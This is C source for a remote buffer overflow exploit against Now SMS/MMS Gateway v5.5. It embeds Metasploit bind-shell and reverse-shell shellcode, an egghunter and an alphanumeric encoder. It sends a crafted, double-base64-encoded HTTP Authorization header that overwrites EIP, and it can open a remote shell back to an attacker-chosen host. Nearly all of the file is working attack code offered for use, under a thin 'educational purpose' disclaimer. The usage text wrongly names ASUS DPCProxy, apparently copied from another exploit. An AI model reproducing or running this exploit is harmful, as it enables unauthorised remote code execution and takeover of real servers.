ThE KinG

* Target : Now SMS/MMS Gateway v5.5 and others
* ----------------------------------------
* Exploit : Now SMS/MMS Gateway v5.5 Remote Buffer Overflow Exploit
* Exploit date : 29.05.2008
* Exploit writer : c0ldph3wl
* OS : Windows ALL
* Tested : Windows 2000 Server
* Crew : c0ldph3wl
* ----------------------------------------
* Info : We obtain EIP after sending a long Authentificate request to server
* Egghunter help here.
************************************************** **********************************
* This was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <time.h>

#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void print_info_banner_line(const char * key, const char * val);

void extract_ip_and_port( char * &remotehost, int * port, char * str);
int fill_payload_args(int sh, int bport, char * reverseip, int reverseport, struct h2readyp * xx);
void base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len, char * ret);

int hr2_connect(char * remotehost, int port, int timeout);
int hr2_udpconnect(char * remotehost, int port, struct sockaddr_in * addr, int timeout);
int hr2_updsend(char * remotehost, unsigned char * buf, unsigned int len, int port, struct sockaddr_in * addr, int timeout);
int execute(struct _buf * abuf, char * remotehost, int port);

struct _buf
{
unsigned char * ptr;
unsigned int size;
};
int construct_shellcode(int sh, struct _buf * shf, int target,char * rerverseip, int reverseport);
int construct_buffer(struct _buf * shf, int target, struct _buf * abuf);




// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char *optarg; // global argument pointer
int optind = 0, opterr; // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------


struct {
const char * name;
int length;
char *shellcode;
}shellcodes[]={
{"Bindshell, port 4444 [ args: none ]", 696,
/* win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 The Metasploit Project */
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\ x49\ x37\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\ x49\ x51\x5a\x6a\x42"
"\x58\x50\x30\x42\x31\x41\x42\x6b\x42\x41\x52\ x42\ x32\x42\x41\x32"
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\ x6a\ x49\x4b\x4c\x62"
"\x4a\x68\x6b\x30\x4d\x59\x78\x49\x69\x4b\x4f\ x79\ x6f\x69\x6f\x71"
"\x70\x4e\x6b\x32\x4c\x51\x34\x64\x64\x6e\x6b\ x41\ x55\x77\x4c\x4c"
"\x4b\x71\x6c\x35\x55\x64\x38\x54\x41\x58\x6f\ x4c\ x4b\x30\x4f\x47"
"\x68\x4e\x6b\x53\x6f\x47\x50\x74\x41\x58\x6b\ x70\ x49\x4c\x4b\x35"
"\x64\x6c\x4b\x36\x61\x68\x6e\x57\x41\x79\x50\ x6f\ x69\x4c\x6c\x6c"
"\x44\x4b\x70\x63\x44\x43\x37\x5a\x61\x78\x4a\ x44\ x4d\x36\x61\x6a"
"\x62\x38\x6b\x78\x74\x77\x4b\x51\x44\x74\x64\ x76\ x48\x51\x65\x4a"
"\x45\x4e\x6b\x73\x6f\x61\x34\x55\x51\x5a\x4b\ x71\ x76\x6c\x4b\x64"
"\x4c\x72\x6b\x4e\x6b\x63\x6f\x57\x6c\x75\x51\ x7a\ x4b\x33\x33\x34"
"\x6c\x6c\x4b\x6e\x69\x72\x4c\x45\x74\x45\x4c\ x30\ x61\x4f\x33\x50"
"\x31\x69\x4b\x61\x74\x6c\x4b\x57\x33\x66\x50\ x4e\ x6b\x43\x70\x64"
"\x4c\x6e\x6b\x32\x50\x65\x4c\x6e\x4d\x6e\x6b\ x77\ x30\x67\x78\x31"
"\x4e\x33\x58\x6c\x4e\x30\x4e\x34\x4e\x5a\x4c\ x50\ x50\x4b\x4f\x69"
"\x46\x72\x46\x62\x73\x70\x66\x35\x38\x57\x43\ x35\ x62\x45\x38\x30"
"\x77\x63\x43\x44\x72\x71\x4f\x71\x44\x79\x6f\ x4a\ x70\x73\x58\x78"
"\x4b\x48\x6d\x4b\x4c\x77\x4b\x56\x30\x79\x6f\ x7a\ x76\x51\x4f\x6f"
"\x79\x79\x75\x32\x46\x4b\x31\x48\x6d\x43\x38\ x45\ x52\x70\x55\x73"
"\x5a\x33\x32\x6b\x4f\x4a\x70\x72\x48\x69\x49\ x36\ x69\x4c\x35\x6e"
"\x4d\x50\x57\x4b\x4f\x6a\x76\x36\x33\x36\x33\ x61\ x43\x33\x63\x62"
"\x73\x43\x73\x36\x33\x50\x43\x63\x63\x4b\x4f\ x68\ x50\x43\x56\x71"
"\x78\x62\x31\x51\x4c\x30\x66\x30\x53\x6b\x39\ x78\ x61\x4c\x55\x65"
"\x38\x4e\x44\x67\x6a\x74\x30\x6f\x37\x70\x57\ x69\ x6f\x6e\x36\x32"
"\x4a\x36\x70\x43\x61\x32\x75\x79\x6f\x4e\x30\ x50\ x68\x4f\x54\x6e"
"\x4d\x64\x6e\x6d\x39\x52\x77\x79\x6f\x58\x56\ x66\ x33\x36\x35\x69"
"\x6f\x4e\x30\x45\x38\x38\x65\x72\x69\x6b\x36\ x77\ x39\x33\x67\x79"
"\x6f\x6e\x36\x70\x50\x31\x44\x62\x74\x73\x65\ x6b\ x4f\x58\x50\x6d"
"\x43\x50\x68\x4b\x57\x44\x39\x4f\x36\x64\x39\ x71\ x47\x6b\x4f\x49"
"\x46\x63\x65\x6b\x4f\x4a\x70\x71\x76\x50\x6a\ x50\ x64\x50\x66\x70"
"\x68\x50\x63\x52\x4d\x6e\x69\x58\x65\x32\x4a\ x46\ x30\x63\x69\x45"
"\x79\x48\x4c\x4c\x49\x7a\x47\x63\x5a\x70\x44\ x4d\ x59\x78\x62\x36"
"\x51\x39\x50\x38\x73\x4f\x5a\x6b\x4e\x41\x52\ x64\ x6d\x6b\x4e\x32"
"\x62\x36\x4c\x4e\x73\x4c\x4d\x43\x4a\x34\x78\ x4c\ x6b\x6e\x4b\x6e"
"\x4b\x51\x78\x70\x72\x6b\x4e\x4e\x53\x47\x66\ x4b\ x4f\x32\x55\x50"
"\x44\x4b\x4f\x7a\x76\x43\x6b\x70\x57\x62\x72\ x46\ x31\x66\x31\x32"
"\x71\x30\x6a\x35\x51\x33\x61\x32\x71\x33\x65\ x53\ x61\x4b\x4f\x5a"
"\x70\x30\x68\x6e\x4d\x6e\x39\x73\x35\x7a\x6e\ x62\ x73\x4b\x4f\x48"
"\x56\x63\x5a\x6b\x4f\x59\x6f\x57\x47\x39\x6f\ x6e\ x30\x4e\x6b\x30"
"\x57\x59\x6c\x4b\x33\x38\x44\x45\x34\x59\x6f\ x39\ x46\x50\x52\x39"
"\x6f\x58\x50\x65\x38\x38\x70\x6e\x6a\x37\x74\ x53\ x6f\x31\x43\x6b"
"\x4f\x6a\x76\x6b\x4f\x78\x50\x42"
},
{"ReverseShell [ args: -R <iport> ]",
287,
/*
* windows/shell_reverse_tcp - 287 bytes
* The Metasploit Project
* Encoder: generic/none
*/
"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\ x6c\ x24\x24\x8b"
"\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\ x8b\ x5f\x20\x01"
"\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\ x84\ xc0\x74\x07"
"\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\ x75\ xe5\x8b\x5f"
"\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\ xeb\ x03\x2c\x8b"
"\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\ x30\ x8b\x40\x0c"
"\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\ x0e\ xec\x50\xff"
"\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\ x5f\ x54\xff\xd0"
"\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\ x66\ x81\xed\x08"
"\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\ x57\ xff\xd6\x53"
"\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68\x7f\ x00\ x00\x01\x66"
"\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9\ xaa\ x60\x57\xff"
"\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\ x68\ x63\x6d\x6a"
"\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\ xc0\ xf3\xaa\x95"
"\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\ xab\ xab\xab\x68"
"\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\ x52\ x51\x51\x51"
"\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\ x05\ xce\x53\xff"
"\xd6\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\ x79\ xff\x75\x04"
"\xff\xd6\xff\x77\xfc\xff\xd0\x68\xf0\x8a\x04\ x5f\ x53\xff\xd6"
"\xff\xd0"
},
{NULL, 0, NULL}
};




struct _target{
const char *t ;
unsigned long ret ;
} targets[]=
{
{"Now SMS/MMS Gateway universal", 0x10002f9d },
{"Now SMS/MMS Gateway v5.5", 0x0027727c },
{"DOS/Crash/Debug/Test/Fun", 0x41414141 },
{NULL, 0x00000000 }
};


char egghunter[] =
"\x33\xd2\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\ x58\ xcd\x2e\x3c\x05"
"\x5a\x74\xef\xb8\x44\x46\x58\x50\x8b\xfa\xaf\ x75\ xea\xaf\x75\xe7"
"\xff\xe7";

char header_b[] =
"GET / HTTP/1.0\r\n"
"User-Agent: ";
char header_m[] ="\r\n"
"Authorization: Basic ";
char header_e[] = "\r\n\r\n";


// memory for buffers
unsigned char payloadbuffer[10000], a_buffer[10000];
long dwTimeout=5000;
int timeout=5000;

// alphanumeric decoder took from "ALPHA 2: Zero-tolerance." code
char alphanum_decoder[] =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\ x49\ x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\ x37\ x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\ x41\ x42\x32\x42\x42"
"\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\ x4a\ x49";
// alphanumeric encoder took from "ALPHA 2: Zero-tolerance." code
int alphanumeric_exec(char *to_encode, int len, char *encoded, int * rlen )
{
int i,ii=0, input, A, B, C, D, E, F, length=(int)strlen(to_encode);
char* valid_chars = "0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghij klmn opqrstuvwxyz"; // mixed chars
char temp[10];
memset(temp, 0 , sizeof(temp));
srand((int)clock());
for(ii=0;ii<len;ii++)
{
input = to_encode[ii];
A = (input & 0xf0) >> 4;
B = (input & 0x0f);
F = B;
i = rand() % ((int)strlen(valid_chars));
while ((valid_chars[i] & 0x0f) != F) { i = ++i % ((int)strlen(valid_chars)); }
E = valid_chars[i] >> 4;
D = (A^E);
i = rand() % ((int)strlen(valid_chars));
while ((valid_chars[i] & 0x0f) != D) { i = ++i % ((int)strlen(valid_chars)); }
C = valid_chars[i] >> 4;
sprintf(temp,"%c%c", (C<<4)+D, (E<<4)+F);
encoded[strlen(encoded)]=temp[0];
encoded[strlen(encoded)]=temp[1];
}
encoded[strlen(encoded)]='A';
*rlen=(int)strlen(encoded);
return 1;

}

int main(int argc, char **argv)
{
char c,*remotehost=NULL,*file=NULL,*reverseip=NULL,*url =NULL,temp1[100];
int HAVE_R=0,HAVE_U=0,sh,port=8800,itarget=0,reversepo rt=9999;
struct _buf fshellcode, sbuffer;

logo();
if(argc<2)
{
usage(argv[0]);
return -1;
}

WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
// set defaults
sh=0;
// ------------

while((c = getopt(argc, argv, "h:t:R:T:"))!= EOF)
{
switch (c)
{
case 'h':
if (strchr(optarg,':')==NULL)
{
remotehost=optarg;
}else
{
sscanf(strchr(optarg,':')+1, "%d", &port);
remotehost=optarg;
*(strchr(remotehost,':'))='\0';
}
break;
case 't':
sscanf(optarg, "%d", &itarget);
itarget--;
break;
case 'R':
HAVE_R=1;
if (strchr(optarg,':')==NULL)
{
reverseip=optarg;
}else
{
sscanf(strchr(optarg,':')+1, "%d", &reverseport);
reverseip=optarg;
*(strchr(reverseip,':'))='\0';
}
break;
case 'T':
sscanf(optarg, "%ld", &dwTimeout);
break;
default:
usage(argv[0]);
WSACleanup();
return -1;
}
}
sh=HAVE_R;

if(remotehost == NULL)
{
printf(" [-] Please enter remotehost\n");
end_logo();
WSACleanup();
return -1;
}
print_info_banner_line("Host", remotehost);
sprintf(temp1, "%d", port);
print_info_banner_line("Port", temp1);
print_info_banner_line("Payload", shellcodes[sh].name);

if(sh==0)
{
sprintf(temp1, "%d", 4444);
print_info_banner_line("BINDPort", temp1);
}
if(sh==1)
{
print_info_banner_line("CB IP", reverseip);
sprintf(temp1, "%d", reverseport);
print_info_banner_line("CB port", temp1);
}
printf(" # ------------------------------------------------------------------- # \n");
fflush(stdout);


memset(payloadbuffer, 0, sizeof(payloadbuffer));
fshellcode.ptr=payloadbuffer;
fshellcode.size=0;

memset(a_buffer, 0, sizeof(a_buffer));
sbuffer.ptr=a_buffer;
sbuffer.size=0;

if(!construct_shellcode(sh, &fshellcode, itarget, reverseip, reverseport))
{
end_logo();
WSACleanup();
return -1;
}

printf(" [+] Payload constructed\n");

if(!construct_buffer(&fshellcode, itarget, &sbuffer))
{
printf(" [-] Buffer not constructed\n");
end_logo();
WSACleanup();
return -1;
}
printf(" [+] Final buffer constructed\n");


if(!execute(&sbuffer, remotehost, port))
{
printf(" [-] Buffer not sent\n");
end_logo();
WSACleanup();
return -1;
}
printf(" [+] Buffer sent\n");

end_logo();
WSACleanup();
return 0;
}
int construct_shellcode(int sh, struct _buf * shf, int target, char * rerverseip, int reverseport)
{
int x;
char fsh[1000];

memcpy(shf->ptr, shellcodes[sh].shellcode, shellcodes[sh].length);
shf->size=shellcodes[sh].length;
if(sh==1)
{
memset(shf->ptr,0,shf->size+1);
memset(fsh,0,sizeof(fsh));
memcpy(fsh, shellcodes[sh].shellcode, shellcodes[sh].length);


static struct hostent *host = gethostbyname(rerverseip);
static struct sockaddr_in addr;
if(host == NULL)
{
printf(" [-] Reverse ip/hostanme is invalid\n");
return 0;
}

addr.sin_addr = *(struct in_addr*)host->h_addr;
fsh[160] = (addr.sin_addr.S_un.S_un_b.s_b1) ;
fsh[161] = (addr.sin_addr.S_un.S_un_b.s_b2) ;
fsh[162] = (addr.sin_addr.S_un.S_un_b.s_b3) ;
fsh[163] = (addr.sin_addr.S_un.S_un_b.s_b4) ;

fsh[166] = ((reverseport >> 8) & 0xff) ;
fsh[167] = ((reverseport ) & 0xff) ;

memcpy(shf->ptr,alphanum_decoder,sizeof(alphanum_decoder)-1);
alphanumeric_exec(fsh, shellcodes[sh].length, (char*)(shf->ptr+sizeof(alphanum_decoder)-1), &x);
shf->size = sizeof(alphanum_decoder)-1+x;
}
return 1;
}

int construct_buffer(struct _buf * shf, int target, struct _buf * sbuf)
{
unsigned char * cp, *lp ;
char buf[10000],encoded[10000],encoded2[10000], useragent[10000];
int len, slen;

//
cp=(unsigned char *)useragent;
*cp++ = '\x44';
*cp++ = '\x46';
*cp++ = '\x58';
*cp++ = '\x50';
*cp++ = '\x44';
*cp++ = '\x46';
*cp++ = '\x58';
*cp++ = '\x50';
*cp++ = '\x41';
*cp++ = '\x41';
*cp++ = '\x41';
memcpy(cp, shf->ptr, shf->size);
cp+=shf->size;
slen=(int)(cp-(unsigned char *)useragent);


// make egghunter
memset(buf, 0, sizeof(buf));
memset(encoded, 0, sizeof(encoded));
memset(encoded2, 0, sizeof(encoded2));

cp=(unsigned char *)buf;
memset(cp, '\x41', 129);
cp+=129;

*cp++ = (unsigned char)((targets[target].ret ) & 0xff);
*cp++ = (unsigned char)((targets[target].ret >> 8) & 0xff);
*cp++ = (unsigned char)((targets[target].ret >> 16) & 0xff);
*cp++ = (unsigned char)((targets[target].ret >> 24) & 0xff);

*cp++ = '\x90';
*cp++ = '\x90';
*cp++ = '\x90';
*cp++ = '\x90';

memcpy(cp, egghunter, strlen(egghunter));
cp+=strlen(egghunter);

memset(cp, '\x42', 500);
cp+=500;
len=(int)(cp-(unsigned char * )buf);
base64_encode((const unsigned char *)buf,len,(char *)encoded);
base64_encode((const unsigned char *)encoded,strlen(encoded),(char *)encoded2);
// ---


cp = sbuf->ptr;
memcpy(cp, header_b,strlen(header_b));
cp+=strlen(header_b);
memcpy(cp, useragent,slen);
cp+=slen;
memcpy(cp, header_m,strlen(header_m));
cp+=strlen(header_m);
memcpy(cp, encoded2,strlen(encoded2));
cp+=strlen(encoded2);
memcpy(cp, header_e,strlen(header_e));
cp+=strlen(header_e);

sbuf->size=(int)(cp-sbuf->ptr);
return 1;
}


void extract_ip_and_port( char * &remotehost, int * port, char * str)
{
if (strchr(str,':')==NULL)
{
remotehost=str;
}else
{
sscanf(strchr(str,':')+1, "%d", port);
remotehost=str;
*(strchr(remotehost,':'))='\0';
}
}



int hr2_connect(char * remotehost, int port, int timeout)
{
SOCKET s;
struct hostent *host;
struct sockaddr_in addr;
TIMEVAL stTime;
TIMEVAL *pstTime = NULL;
fd_set x;
int res;

if (INFINITE != timeout)
{
stTime.tv_sec = timeout / 1000;
stTime.tv_usec = timeout % 1000;
pstTime = &stTime;
}

host = gethostbyname(remotehost);
if (!host) return SOCKET_ERROR;

addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_port = htons(port);
addr.sin_family = AF_INET;

s = socket(AF_INET, SOCK_STREAM, 0);
if (s == SOCKET_ERROR)
{
closesocket(s);
return SOCKET_ERROR;
}

unsigned long l = 1;
ioctlsocket( s, FIONBIO, &l ) ;

connect(s, (struct sockaddr*)&addr, sizeof(addr));

FD_ZERO(&x);
FD_SET(s, &x);

res = select(NULL,NULL,&x,NULL,pstTime);
if(res< 0) return SOCKET_ERROR;
if(res==0) return 0;
return (int)s;
}


int hr2_tcpsend(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
{
return send(s, (char *)buf, len, 0);
}

int hr2_tcprecv(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
{
TIMEVAL stTime;
TIMEVAL *pstTime = NULL;
fd_set xy;
int res;

if (INFINITE != timeout)
{
stTime.tv_sec = timeout / 1000;
stTime.tv_usec = timeout % 1000;
pstTime = &stTime;
}
FD_ZERO(&xy);
FD_SET(s, &xy);

res = select(NULL,&xy,NULL,NULL,pstTime);

if(res==0) return 0;
if(res<0) return -1;

return recv(s, (char *)buf, len, 0);
}

int execute(struct _buf * abuf, char * remotehost, int port)
{
int x;
SOCKET s ;

s = hr2_connect(remotehost, port, 10000);
if(s==0)
{
printf(" [-] connect() timeout\n");
return 0;
}
if(s==SOCKET_ERROR)
{
printf(" [-] Connection failed\n");
return 0;
}
x = hr2_tcpsend(s, abuf->ptr, abuf->size, 0);
printf(" [+] Sent %d out of %d bytes\n", x, abuf->size);

closesocket(s);
return 1;
}

// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
static char *next = NULL;
if (optind == 0)
next = NULL;

optarg = NULL;

if (next == NULL || *next == '\0')
{
if (optind == 0)
optind++;

if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
{
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}

if (strcmp(argv[optind], "--") == 0)
{
optind++;
optarg = NULL;
if (optind < argc)
optarg = argv[optind];
return EOF;
}

next = argv[optind];
next++; // skip past -
optind++;
}

char c = *next++;
char *cp = strchr(optstring, c);

if (cp == NULL || c == ':')
return '?';

cp++;
if (*cp == ':')
{
if (*next != '\0')
{
optarg = next;
next = NULL;
}
else if (optind < argc)
{
optarg = argv[optind];
optind++;
}
else
{
return '?';
}
}

return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------



// -----------------------------------------------------------------
// BASE64
// -----------------------------------------------------------------
char base64_chars[] =
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/";


static inline bool is_base64(unsigned char c) {
return (isalnum(c) || (c == '+') || (c == '/'));
}

void base64_encode(unsigned char const* bytes_to_encode, unsigned int in_len, char * ret)
{
int i = 0;
int j = 0;
unsigned char char_array_3[3];
unsigned char char_array_4[4];

while (in_len--)
{
char_array_3[i++] = *(bytes_to_encode++);
if (i == 3) {
char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;

for(i = 0; (i <4) ; i++)
ret[strlen(ret)]=base64_chars[char_array_4[i]];
i = 0;
}
}

if (i)
{
for(j = i; j < 3; j++)
char_array_3[j] = '\0';

char_array_4[0] = (char_array_3[0] & 0xfc) >> 2;
char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4);
char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6);
char_array_4[3] = char_array_3[2] & 0x3f;

for (j = 0; (j < i + 1); j++)
ret[strlen(ret)]=base64_chars[char_array_4[j]];

while((i++ < 3))
ret[strlen(ret)]='=';

}


}

// -----------------------------------------------------------------
// End of BASE64
// -----------------------------------------------------------------




void print_info_banner_line(const char * key, const char * val)
{
char temp1[100], temp2[100];

memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(val) -1);

memset(temp2,0,sizeof(temp2));
memset(temp2, '\x20' , 8 - strlen(key));
printf(" # %s%s: %s%s# \n", key, temp2, val, temp1);

}



void usage(char * s)
{
int j;
printf("\n");
printf(" Usage: %s -h <hostort> -t <target> -R <hostort>\n", s);
printf(" -------------------------------------------------------------------\n");
printf(" Arguments:\n");
printf(" -h ........ host to attack, default port: 8800\n");
printf(" -t ........ target to use\n");
printf(" -R ........ host and port for back connect\n");
printf(" -T ........ socket timeout\n");
printf("\n");
printf(" Supported ASUS DPCProxy versions:\n");
for(j=0; targets[j].t!=0;j++)
{
printf(" %d. %s\n",j+1, targets[j].t);
}
printf("\n");
for(j=0; shellcodes[j].name!=0;j++)
{
printf(" %d. %s\n",j+1, shellcodes[j].name);
}
end_logo();
}

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